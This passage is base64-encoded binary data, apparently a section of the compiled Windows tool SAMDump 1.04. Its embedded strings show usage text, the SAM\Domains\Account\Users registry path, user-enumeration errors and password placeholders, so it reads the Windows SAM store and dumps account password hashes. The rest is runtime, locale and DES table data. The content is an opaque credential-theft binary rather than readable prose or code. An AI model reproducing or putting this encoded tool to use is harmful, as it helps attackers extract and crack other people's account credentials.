wySAitCLRCQMPQCAAAB1BYDjf+sKPQBAAAB1FoDLgIgZg/oBG8BbJQBAAAAFAEAAAMPo9ID//1vH
ABYAAAC4/////8PMzMzMzMzMUT0AEAAAjUwkCHIUgekAEAAALQAQAACFAT0AEAAAc+wryIvEhQGL
4YsIi0AEUMPMg+wIgz0I+0AAAFOLXCQQdRSD+0F8CIP7Wn8Dg8Mgi8Nbg8QIw4H7AAEAAH0wgz0c
+0AAAX4NagFT6ALA//+DxAjrD4sNYPtAADPAZosEWYPgAYXAdQeLw1uDxAjDis8z0orRoWD7QAD2
RFABgHQUuAIAAACITCQIxkQkCgCIXCQJ6w64AQAAAIhcJAjGRCQJAI1MJARqAGoDixUI+0AAUVCN
RCQYUGgAAQAAUuif7///g8QchcB1B4vDW4PECMOD+AF1CzPAikQkBFuDxAjDM8AzyYpEJAWKTCQE
weAIWwvBg8QIw8zMzMzMzMzMzMzMVYvsV4t9CFfoIwAAAFpAUOhbgf//WgvAdAlXUOiPAAAAWlpf
ycPMzMzMzMzMzMzMi0wkBPfBAwAAAHQUigFBhMB0QPfBAwAAAHXxBQAAAACLAbr//v5+A9CD8P8z
woPBBKkAAQGBdOiLQfyEwHQyhOR0JKkAAP8AdBOpAAAA/3QC682NQf+LTCQEK8HDjUH+i0wkBCvB
w41B/YtMJAQrwcONQfyLTCQEK8HDzMzMzMxXi3wkCOtqLovALovALovAi0wkBFf3wQMAAAB0D4oB
QYTAdDv3wQMAAAB18YsBuv/+/n4D0IPw/zPCg8EEqQABAYF06ItB/ITAdCOE5HQaqQAA/wB0DqkA
AAD/dALrzY15/+sNjXn+6wiNef3rA415/ItMJAz3wQMAAAB0GYoRQYTSdGSIF0f3wQMAAAB17usF
iReDxwS6//7+fosBA9CD8P8zwosRg8EEqQABAYF04YTSdDSE9nQn98IAAP8AdBL3wgAAAP90AuvH
iReLRCQIX8NmiReLRCQIxkcCAF/DZokXi0QkCF/DiBeLRCQIX8P/JSwhQQDMzMzMzMzMzMzMVYvs
V1ZTi00QC8kPhNwAAACLdQiLfQyNBQD7QACDeAgAdUu3QbNatiAui8CKJgrkigd0IQrAdB1GRzj8
cgY43HcCAuY4+HIGONh3AgLGOMR1DUl11zPJOMQPhI4AAAC5/////w+CgwAAAPfZ63+DPeQOQQAA
fwr/BegOQQBqAOsSi9lqE+iWkv//xwQkAQAAAIvLM8Az25CKBgvAih90IwvbdB9GR1FQU+iy/P//
i9iDxAToqPz//4PEBFk7w3UJSXXVM8k7w3QJuf////9yAvfZWAvAdQj/DegOQQDrDovZahPoqJL/
/4PEBIvLi8FbXl/JwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQICBAQHBwgICwsNDQ4OEBATExUVFhYZGRoaHBwfHyAg
IyMlJSYmKSkqKiwsLy8xMTIyNDQ3Nzg4Ozs9PT4+QEBDQ0VFRkZJSUpKTExPT1FRUlJUVFdXWFhb
W11dXl5hYWJiZGRnZ2hoa2ttbW5ucHBzc3V1dnZ5eXp6fHx/f4CAg4OFhYaGiYmKioyMj4+RkZKS
lJSXl5iYm5udnZ6eoaGioqSkp6eoqKurra2urrCws7O1tba2ubm6ury8v7/BwcLCxMTHx8jIy8vN
zc7O0NDT09XV1tbZ2dra3Nzf3+Dg4+Pl5ebm6enq6uzs7+/x8fLy9PT39/j4+/v9/f7+AAAAABAA
AAAAAAAgEAAAIAAAAQAQAAEAAAABIBAAASAACAAAEAgAAAAIACAQCAAgAAgBABAIAQAACAEgEAgB
ICAAAAAwAAAAIAAAIDAAACAgAAEAMAABACAAASAwAAEgIAgAADAIAAAgCAAgMAgAICAIAQAwCAEA
IAgBIDAIASAAAAgAEAAIAAAACCAQAAggAAAJABAACQAAAAkgEAAJIAAICAAQCAgAAAgIIBAICCAA
CAkAEAgJAAAICSAQCAkgIAAIADAACAAgAAggMAAIICAACQAwAAkAIAAJIDAACSAgCAgAMAgIACAI
CCAwCAggIAgJADAICQAgCAkgMAgJIAAAAAAAAAACACAAAAAgAAIAACAAAAAgAgAgIAAAICACBAAA
AAQAAAIEIAAABCAAAgQAIAAEACACBCAgAAQgIAIABAAAAAQAAgAkAAAAJAACAAQgAAAEIAIAJCAA
ACQgAgQEAAAEBAACBCQAAAQkAAIEBCAABAQgAgQkIAAEJCACAAAAEAAAABIAIAAQACAAEgAAIBAA
ACASACAgEAAgIBIEAAAQBAAAEgQgABAEIAASBAAgEAQAIBIEICAQBCAgEgAEABAABAASACQAEAAk
ABIABCAQAAQgEgAkIBAAJCASBAQAEAQEABIEJAAQBCQAEgQEIBAEBCASBCQgEAQkIBIAAAAAAQAA
AAAABAABAAQAAAAAAQEAAAEAAAQBAQAEAQIAAAADAAAAAgAEAAMABAACAAABAwAAAQIABAEDAAQB
AAIAAAECAAAAAgQAAQIEAAACAAEBAgABAAIEAQECBAECAgAAAwIAAAICBAADAgQAAgIAAQMCAAEC
AgQBAwIEAQAAAAgBAAAIAAAECAEABAgAAAAJAQAACQAABAkBAAQJAgAACAMAAAgCAAQIAwAECAIA
AAkDAAAJAgAECQMABAkAAgAIAQIACAACBAgBAgQIAAIACQECAAkAAgQJAQIECQICAAgDAgAIAgIE
CAMCBAgCAgAJAwIACQICBAkDAgQJAAAAAAAAEAAAAQAAAAEQAAgAAAAIABAACAEAAAgBEAAAEAAA
ABAQAAARAAAAERAACBAAAAgQEAAIEQAACBEQAAAAAAQAABAEAAEABAABEAQIAAAECAAQBAgBAAQI
ARAEABAABAAQEAQAEQAEABEQBAgQAAQIEBAECBEABAgREAQAAAIAAAASAAABAgAAARIACAACAAgA
EgAIAQIACAESAAAQAgAAEBIAABECAAAREgAIEAIACBASAAgRAgAIERIAAAACBAAAEgQAAQIEAAES
BAgAAgQIABIECAECBAgBEgQAEAIEABASBAARAgQAERIECBACBAgQEgQIEQIECBESBAAAAAAAAAAQ
AAABAAAAARAEAAAABAAAEAQAAQAEAAEQAAAAIAAAADAAAAEgAAABMAQAACAEAAAwBAABIAQAATAA
ABAAAAAQEAAAEQAAABEQBAAQAAQAEBAEABEABAAREAAAECAAABAwAAARIAAAETAEABAgBAAQMAQA
ESAEABEwABAAAAAQABAAEAEAABABEAQQAAAEEAAQBBABAAQQARAAEAAgABAAMAAQASAAEAEwBBAA
IAQQADAEEAEgBBABMAAQEAAAEBAQABARAAAQERAEEBAABBAQEAQQEQAEEBEQABAQIAAQEDAAEBEg
ABARMAQQECAEEBAwBBARIAQQETAAAAAAAAAACAgAAAAIAAAIAAQAAAAEAAgIBAAACAQACAAAAgAA
AAIICAACAAgAAggABAIAAAQCCAgEAgAIBAIIAQAAAAEAAAgJAAAACQAACAEEAAABBAAICQQAAAkE
AAgBAAIAAQACCAkAAgAJAAIIAQQCAAEEAggJBAIACQQCCAAAAAIAAAAKCAAAAggAAAoABAACAAQA
CggEAAIIBAAKAAACAgAAAgoIAAICCAACCgAEAgIABAIKCAQCAggEAgoBAAACAQAACgkAAAIJAAAK
AQQAAgEEAAoJBAACCQQACgEAAgIBAAIKCQACAgkAAgoBBAICAQQCCgkEAgIJBAIKAAAAAAABAAAA
AAgAAAEIAAAAAAEAAQABAAAIAQABCAEQAAAAEAEAABAACAAQAQgAEAAAARABAAEQAAgBEAEIAQAA
IAAAASAAAAAoAAABKAAAACABAAEgAQAAKAEAASgBEAAgABABIAAQACgAEAEoABAAIAEQASABEAAo
ARABKAEAAgAAAAMAAAACCAAAAwgAAAIAAQADAAEAAggBAAMIARACAAAQAwAAEAIIABADCAAQAgAB
EAMAARACCAEQAwgBAAIgAAADIAAAAigAAAMoAAACIAEAAyABAAIoAQADKAEQAiAAEAMgABACKAAQ
AygAEAIgARADIAEQAigBEAMoAQAAAAAAAAAEAAAEAAAABAQCAAAAAgAABAIABAACAAQEACAAAAAg
AAQAIAQAACAEBAIgAAACIAAEAiAEAAIgBAQgAAAAIAAABCAABAAgAAQEIgAAACIAAAQiAAQAIgAE
BCAgAAAgIAAEICAEACAgBAQiIAAAIiAABCIgBAAiIAQEAAgAAAAIAAQACAQAAAgEBAIIAAACCAAE
AggEAAIIBAQAKAAAACgABAAoBAAAKAQEAigAAAIoAAQCKAQAAigEBCAIAAAgCAAEIAgEACAIBAQi
CAAAIggABCIIBAAiCAQEICgAACAoAAQgKAQAICgEBCIoAAAiKAAEIigEACIoBAQACAgCAAAIAAIA
AAICCAgCAAAAAgIICAACAAgAAgAAAgIICAAACAgCAAAIAgIIAAACCAACAAAAAgAAAAACAAgAAAAI
AAIAAAAACAACAAgIAAIICAIAAAgCAggAAAAIAAICAAAAAAgAAAAICAACAAgCAAgAAAIIAAICAAgC
AAAAAAAAAAACCAgCAAgAAgIACAAACAgCAAAIAAIIAAAACAACAgAIAgAIAAAACAgAAgAAAgIICAAC
AAAAAgAAAgAACAICCAgCAAgIAAAACAICCAACAAAAAgIIAAACAAgAAAAAAAAACAAAAAACAggAAgAI
CAICAAAAAgAIAgAIAAACCAgAEIAQQAAAAAAAgBAAAAAQQBAAAEAQgAAAAIAAQACAEAAAgAAAEAAQ
QBAAAAAAgABAEAAQAACAEEAAABBAEAAAAAAAEAAQgABAEAAQQACAAAAQgBAAAAAAQAAAAAAQABAA
EIAAQBCAEAAAgBBAEAAAQAAAAEAAABAAEIAAABCAEEAQABAAAIAQQACAAEAQgBAAEIAQQBAAEAAQ
AABAAAAAAAAAAEAQgAAAAAAQABAAEEAAgAAAAAAAQBCAEAAQgABAAIAQQACAAAAAAAAAEAAAQBAA
AAAQgBBAAIAQAAAAEEAQABBAAAAQABCAAAAAgABAEIAAQBAAAAAAABBAAIAQAAEAAAQAAQQEAAEA
AAEBAAQBAAQAAAAABAEBAAQAAQQAAAEABAAABAAAAAQEAQAAAAEBBAQBAQAAAQAAAAEABAQAAAAA
AQAEAAABBAQAAQAAAQEAAAEBBAQAAAQAAQAABAEABAQAAQAEAQEEAAAABAQAAQQAAAAAAAAAAAQB
AQQAAAEEBAABAAABAAAAAAAEAAEBAAABAAQAAAAEBAEBAAQAAAAAAAEEBAABBAABAAQEAQAEAAAA
AAQBAQQEAQAAAAEBBAABAAAEAAAABAEBBAQAAAQAAAEABAEBAAQAAQQAAAEABAAAAAABAAQEAQEA
AAEAAAQBAQQAAAEAAAAABAQIEEAAABAAEAgAAAAIEEAQAAAAAAAAQBAIEAAQCABAAAAQQBAIAAAQ
AAAAEAgQAAAIAAAQCBBAAAAAQAAAAAAQCABAEAAQQAAAEAAACAAAAAAQQAAIEAAQAABAEAAQAAAI
EAAAAAAAAAgAQAAAEEAQABAAEAgAQBAIEEAQAABAAAgAQBAIEAAAAABAAAgAABAAEEAAABAAEAgA
AAAAAEAQCBAAEAAAAAAAEAAACABAAAAAAAAIAEAQABBAEAAQAAAAAAAQCBBAEAgQQAAAAEAACBBA
EAgAAAAAEAAQCBBAAAgAQAAAEEAAAABAEAgQABAIEAAAAAAAEAgAABAAEEAQAAAACAAAAQAABAAA
IAQBCCAAAQgABAAIIAQBAAAAAQgAAAEAIAAAACAAAAgABAEAIAQACCAAAQgABAEIAAAAAAAEAQAA
AAAIIAABACAEAAAABAAIIAQBAAAAAAAgAAAIIAAAACAEAAggBAEIIAABAAAAAQgABAAAIAQAAAAE
AQgABAEIIAQACCAAAQAAAAEIAAABACAAAAAgAAAIAAQACAAAAAgABAEAIAQBCAAAAAAgBAEAAAAA
CAAEAAAgAAEAIAQACAAEAAAAAAAAIAQBCCAAAQgABAEIIAQAAAAAAQAABAEAIAABCAAEAAggBAAA
IAAAACAEAQAAAAEIIAAACEAAAIBAACAAAAAAAAAgIIBAACAAACAAAEAgAIAAACAAQCAAAEAgIIAA
ICAAAAAAgAAgAIBAAACAAAAggEAgIAAAACAAQCAAgEAAIIAAAAAAACAAAEAAAAAAICCAQAAggEAg
IIAAACCAAAAAgEAgAABAAAAAACAgAEAgIAAAIACAQCAAAAAAAIAAIACAQCAgAAAgIIBAACAAAAAA
AAAgAIAAAACAACAAAEAAIIAAACAAQAAgAEAgIIAAICAAQAAAAEAgIIAAICAAAAAgAEAgAIBAAACA
AAAggEAgIAAAAAAAACAAAEAAAIBAIACAACAggAAAIIBAIAAAQAAAAEAAIIAAQAAAAAIAAAACAAEE
AAABBEIAAQRAAAAAQgAAAAAAAAAAAAEEAgABBAIAAABAAAEEAAAAAEIAAQBAAAEEAgAABAIAAQBA
AAAEQAAABEIAAQAAAAAAAgABBAAAAQBCAAAEQAABBEIAAABCAAEEAAAABEIAAARAAAEAAgAAAAAA
AQRCAAAAQAABBEAAAQQCAAAAQAAAAAIAAAAAAAEEQAABBAIAAQRCAAAAQgAAAAAAAAACAAAEAAAB
BAAAAAACAAEAAAAABAIAAQACAAEAQgAABAIAAABAAAAEQgABAAAAAQBCAAEEAAAABEAAAARCAAEE
AAABAEIAAQBAAAEEQAAAgACAIAAAgiCAAAIAAAAAAAAAAiCAAIAAAACAIIAAgiCAAAAAAAAAIAAA
ggCAAAIAgACCAIAAAiCAAAAgAACAIAAAAgCAAIIAgACAAAAAAiCAAIIggAAAIAAAAAAAAIIAAAAA
IAAAgACAAAIggACAIAAAgAAAAAIAAACCIIAAAAAAAIAAAAACAIAAACCAAIIggAACAAAAACAAAAAA
AACCAIAAgCCAAAIgAAACIIAAgAAAAIIggAAAAIAAgAAAAAIggACCIAAAgAAAAIAggAAAIAAAggCA
AAIAgAACIAAAgCCAAAAAAACCIIAAggAAAAAAAAAAIIAAgCAAAAIAgACCAHDsQACwPUAAY3Nt4AEA
AAAAAAAAAAAAAAMAAAAgBZMZAAAAAAAAAAD/////4lJAAP1SQAAAAAAA//////5fQAALYEAAAAAA
AP////8AAAAA3WFAAAAAAAC2YUAAw2FAAP////85ZEAAP2RAAAAAAAD/////qmRAALJkQABMQ19U
SU1FAExDX05VTUVSSUMAAExDX01PTkVUQVJZAExDX0NUWVBFAAAAAExDX0NPTExBVEUAAExDX0FM
TAAALgAAACgAbgB1AGwAbAApAAAAAAAobnVsbCkAAAYAAAYAAQAAEAADBgAGAhAERUVFBQUFBQU1
MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBgYGBgYAAAcHB4eHh4CAcIAAAHAAgICAAA
CAAIAAAIAAAAcnVudGltZSBlcnJvciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0K
AAAAAERPTUFJTiBlcnJvcg0KAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBsb3dpbyBp
bml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHN0ZGlvIGlu
aXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9uIGNhbGwNCgAA
AFI2MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRhYmxlDQoAAAAA
UjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAxOA0KLSB1bmV4
cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRpdGhyZWFkIGxv
Y2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJlYWQgZGF0YQ0K
AA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQotIG5vdCBlbm91Z2gg
c3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgYXJn
dW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3QgbG9hZGVkDQoAAAAATWljcm9z
b2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAAoKAABSdW50aW1lIEVycm9yIQoKUHJv
Z3JhbTogAAAALi4uADxwcm9ncmFtIG5hbWUgdW5rbm93bj4AAAAAAAD/////AAAAAIWOQAAAAAAA
WY5AAF+OQAD/////AAAAAP2OQAAAAAAA0Y5AANeOQAB1bml0ZWQtc3RhdGVzAAAAdW5pdGVkLWtp
bmdkb20AAHVuaXRlZCBzdGF0ZXMAAAB1bml0ZWQga2luZ2RvbQAAdHduAHR1cmtleQAAdHVyAHRh
aXdhbgAAc3dpdHplcmxhbmQAc3dlZGVuAABzd2UAc3ZrAHNwYWluAAAAc291dGgta29yZWEAc291
dGgga29yZWEAc2dwAHNpbmdhcG9yZQAAAHJ1c3NpYQAAcHJ0AHByLWNoaW5hAAAAAHByIGNoaW5h
AAAAAHBvcnR1Z2FsAAAAAHBvbGFuZAAAcG9sAG56bABuegAAbm9yd2F5AABuZXctemVhbGFuZABu
ZXcgemVhbGFuZABuZXRoZXJsYW5kcwBtZXhpY28AAG1leABrb3JlYQAAAGphcGFuAAAAaXRhbHkA
AABpcmwAaXJlbGFuZABpY2VsYW5kAGh1bmdhcnkAaG9uZy1rb25nAAAAaG9uZyBrb25nAAAAaG9s
bGFuZABoa2cAZ3JlZWNlAABncmVhdCBicml0YWluAAAAZ3JjAGdlcm1hbnkAZ2JyAGZyYW5jZQAA
ZmlubGFuZABlbmdsYW5kAGRuawBkZW5tYXJrAGN6ZQBjaG4AY2hpbmEAAABjaGUAY2FuYWRhAABj
YW4AYnJpdGFpbgBicmF6aWwAAGJyYQBiZWxnaXVtAGJlbABhdXQAYXVzdHJpYQBhdXN0cmFsaWEA
AABhdXMAYW1lcmljYQB1c2EAdXMAAHVrAAB0dXJraXNoAHRyawBzd2lzcwAAAHN3ZWRpc2gAc3Zl
AHNwYW5pc2gtbW9kZXJuAABzcGFuaXNoLW1leGljYW4Ac3BhbmlzaABzbG92YWsAAHNreQBydXNz
aWFuAHJ1cwBwdGcAcHRiAHBvcnR1Z3Vlc2UtYnJhemlsaWFuAAAAAHBvcnR1Z3Vlc2UAAHBvbGlz
aAAAcGxrAG5vcndlZ2lhbi1ueW5vcnNrAAAAbm9yd2VnaWFuLWJva21hbAAAAABub3J3ZWdpYW4A
AABub3IAbm9uAG5sZABubGIAa29yZWFuAABrb3IAanBuAGphcGFuZXNlAAAAAGl0cwBpdGFsaWFu
LXN3aXNzAAAAaXRhbGlhbgBpdGEAaXNsAGlyaXNoLWVuZ2xpc2gAAABpY2VsYW5kaWMAAABodW5n
YXJpYW4AAABodW4AZ3JlZWsAAABnZXJtYW4tc3dpc3MAAAAAZ2VybWFuLWF1c3RyaWFuAGdlcm1h
bgAAZnJzAGZyZW5jaC1zd2lzcwAAAABmcmVuY2gtY2FuYWRpYW4AZnJlbmNoLWJlbGdpYW4AAGZy
ZW5jaAAAZnJjAGZyYgBmcmEAZmlubmlzaABmaW4AZXNwAGVzbgBlc20AZW56AGVudQBlbmkAZW5n
bGlzaC11c2EAZW5nbGlzaC11cwAAZW5nbGlzaC11awAAZW5nbGlzaC1uegAAZW5nbGlzaC1pcmUA
ZW5nbGlzaC1jYW4AZW5nbGlzaC1hdXMAZW5nbGlzaC1hbWVyaWNhbgAAAABlbmdsaXNoAGVuZwBl
bmMAZW5hAGVsbABkdXRjaC1iZWxnaWFuAAAAZHV0Y2gAAABkZXUAZGVzAGRlYQBkYW5pc2gAAGRh
bgBjemVjaAAAAGNzeQBjaHQAY2hzAGNoaW5lc2UtdHJhZGl0aW9uYWwAY2hpbmVzZS1zaW5nYXBv
cmUAAABjaGluZXNlLXNpbXBsaWZpZWQAAGNoaW5lc2UtaG9uZ2tvbmcAAAAAY2hpbmVzZQBjaGkA
Y2hoAGNhbmFkaWFuAAAAAGJlbGdpYW4AYXVzdHJhbGlhbgAAYW1lcmljYW4tZW5nbGlzaAAAAABh
bWVyaWNhbiBlbmdsaXNoAAAAAGFtZXJpY2FuAAAAAAAAAAAAAAAAAAAAAEdldExhc3RBY3RpdmVQ
b3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAEg6bW06c3MAZGRk
ZCwgTU1NTSBkZCwgeXl5eQBNL2QveXkAAFBNAABBTQAARGVjZW1iZXIAAAAATm92ZW1iZXIAAAAA
T2N0b2JlcgBTZXB0ZW1iZXIAAABBdWd1c3QAAEp1bHkAAAAASnVuZQAAAABBcHJpbAAAAE1hcmNo
AAAARmVicnVhcnkAAAAASmFudWFyeQBEZWMATm92AE9jdABTZXAAQXVnAEp1bABKdW4ATWF5AEFw
cgBNYXIARmViAEphbgBTYXR1cmRheQAAAABGcmlkYXkAAFRodXJzZGF5AAAAAFdlZG5lc2RheQAA
AFR1ZXNkYXkATW9uZGF5AABTdW5kYXkAAFNhdABGcmkAVGh1AFdlZABUdWUATW9uAFN1bgAAAAAA
U3VuTW9uVHVlV2VkVGh1RnJpU2F0AAAASmFuRmViTWFyQXByTWF5SnVuSnVsQXVnU2VwT2N0Tm92
RGVjAAAAAAAAAAAAAAAAAAAAADj0QACI7EAAAAAAAAAAAAAAAAAAAQAAAJjsQACg7EAAAAAAADj0
QAAAAAAAAAAAAP////8AAAAAAAAAAAEAAAA48EAAAAAAAP////8AAAAABAAAAAAAAAAAAAAAAQAA
ALjsQAAAAAAAAAAAAAAAAADY7EAAAQAAAEjwQAAAAAAA/////wAAAAAEAAAAAAAAAAAAAAABAAAA
8OxAAAAAAAAAAAAAAAAAABDtQAAgBZMZAgAAAEjtQAABAAAAWO1AAAAAAAAAAAAAAAAAAP////8A
AAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAcO1AAAAAAAAAAAAAAAAAAAAAAADhF0AAIAWTGQQA
AACg7UAAAQAAAMDtQAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAC3IUAAAAAAAKohQAD/////AAAA
AAAAAAACAAAAAwAAAAEAAADY7UAAAAAAAAAAAAA48EAArP///8QhQAAgBZMZAwAAAAjuQAABAAAA
IO5AAAAAAAAAAAAAAAAAAP////8AAAAAAAAAAMgjQAD/////AAAAAAAAAAABAAAAAgAAAAEAAAA4
7kAAAAAAAAAAAAA48EAA0P///9UjQAAgBZMZAwAAAGjuQAABAAAAgO5AAAAAAAAAAAAAAAAAAP//
//8AAAAAAAAAAHMlQAD/////AAAAAAAAAAABAAAAAgAAAAEAAACY7kAAAAAAAAAAAAA48EAAxP//
/4AlQAAgBZMZAwAAAMjuQAABAAAA4O5AAAAAAAAAAAAAAAAAAP////8AAAAAAAAAAGonQAD/////
AAAAAAAAAAABAAAAAgAAAAEAAAD47kAAAAAAAAAAAAA48EAAwP///3cnQAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAgVUAAAAAAAAAAAAAATEAAcI1AAAAAAAAAAAAA0ExAAAAAAAAAAAAAAAAAAAAA
AAAAAAAABOFAAAAAAAAuSgAAAAAAAAThQAAAAAAALkgAAFwAAAByYgAAAAAAAGNoZWNrX3ZwOiBt
YWxsb2MgZmFpbCBmb3IgaG9tZWRpci4KAGNoZWNrX3ZwOiBtYWxsb2MgZmFpbCBmb3IgY29tbWVu
dC4KAGNoZWNrX3ZwOiBtYWxsb2MgZmFpbCBmb3IgdXNlcm5hbWUuCgAAAAAlMDJYAAAAADoKAAAs
AAAAJXMAADoAAABOTyBQQVNTV09SRCoqKioqKioqKioqKioqKioqKioqKgAAAAAqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKgAAAAAlczolZDoAAEZhaWxlZCB0byBwYXJzZSBlbnRyeSBm
b3IgUklEICVYCgAAAHByaW50b3V0X3NtYl9lbnRyeTogVW5hYmxlIHRvIHJlYWQgdXNlciAnVicg
dmFsdWUuIEVycm9yIHdhcyAlcy4KLgAAcHJpbnRvdXRfc21iX2VudHJ5OiBtYWxsb2MgZmFpbCBm
b3IgdXNlciBlbnRyeS4KAAAAAHByaW50b3V0X3NtYl9lbnRyeTogVW5hYmxlIHRvIGRldGVybWlu
ZSBzaXplIG5lZWRlZCBmb3IgdXNlciAnVicgdmFsdWUuIEVycm9yIHdhcyAlcy4KLgBWAAAAZW51
bWVyYXRlX3VzZXJzOiBGYWlsZWQgdG8gb3BlbiBrZXkgJXMgdG8gcmVhZCB2YWx1ZS4gRXJyb3Ig
d2FzICVzLgoAAAAAX1JlZ09wZW5LZXlFeCBlcnJvcjogJWQKAAAAAFNBTVxEb21haW5zXEFjY291
bnRcVXNlcnMAAABfUmVnT3BlbkhpdmUgZXJyb3I6ICVkCgBVc2FnZToKICBTQU1EVU1QIDxTQU0g
ZmlsZSBuYW1lPgoAAABTQU1EdW1wIDEuMDQuIENyZWF0ZWQgYnkgRG1pdHJ5IEFuZHJpYW5vdgoA
AAAAAAAAAAAAAQEBAQEBAQH+/v7+/v7+/h8fHx8fHx8f4ODg4ODg4OAB/gH+Af4B/v4B/gH+Af4B
H+Af4A7xDvHgH+Af8Q7xDgHgAeAB8QHx4AHgAfEB8QEf/h/+Dv4O/v4f/h/+Dv4OAR8BHwEOAQ4f
AR8BDgEOAeD+4P7x/vH+/uD+4P7x/vEAAAAAAAAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAA
AAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAAAAAAREVTIHBhcnQgb2YgU1NMZWF5IDAuNi42IDE0
LUphbi0xOTk3AAAAAGxpYmRlcyB2IDQuMDEgLSAxMy1KYW4tMTk5NyAtIGVheQAAAAj0QADg80AA
AQAAAAThQAAAAAAALj9BVnR5cGVfaW5mb0BAAFBVQAAAAAAAAQAAABYAAAACAAAAAgAAAAMAAAAC
AAAABAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcA
AAALAAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAA
ACEAAAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAA
VwAAABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACA
AAAACgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEA
AAACAAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAAIAWT
GQAAAAAAAAAAAAAAABAPQQAAAAAAEA9BAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAA
AgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAOBQQAAAAAAAAQAAAAAQAAAAAAAAAAAAALALQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AtBAAAAAAAAAAAAAAAAAPgLQQAAAAAAAAAAAAAAAADIC0EAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
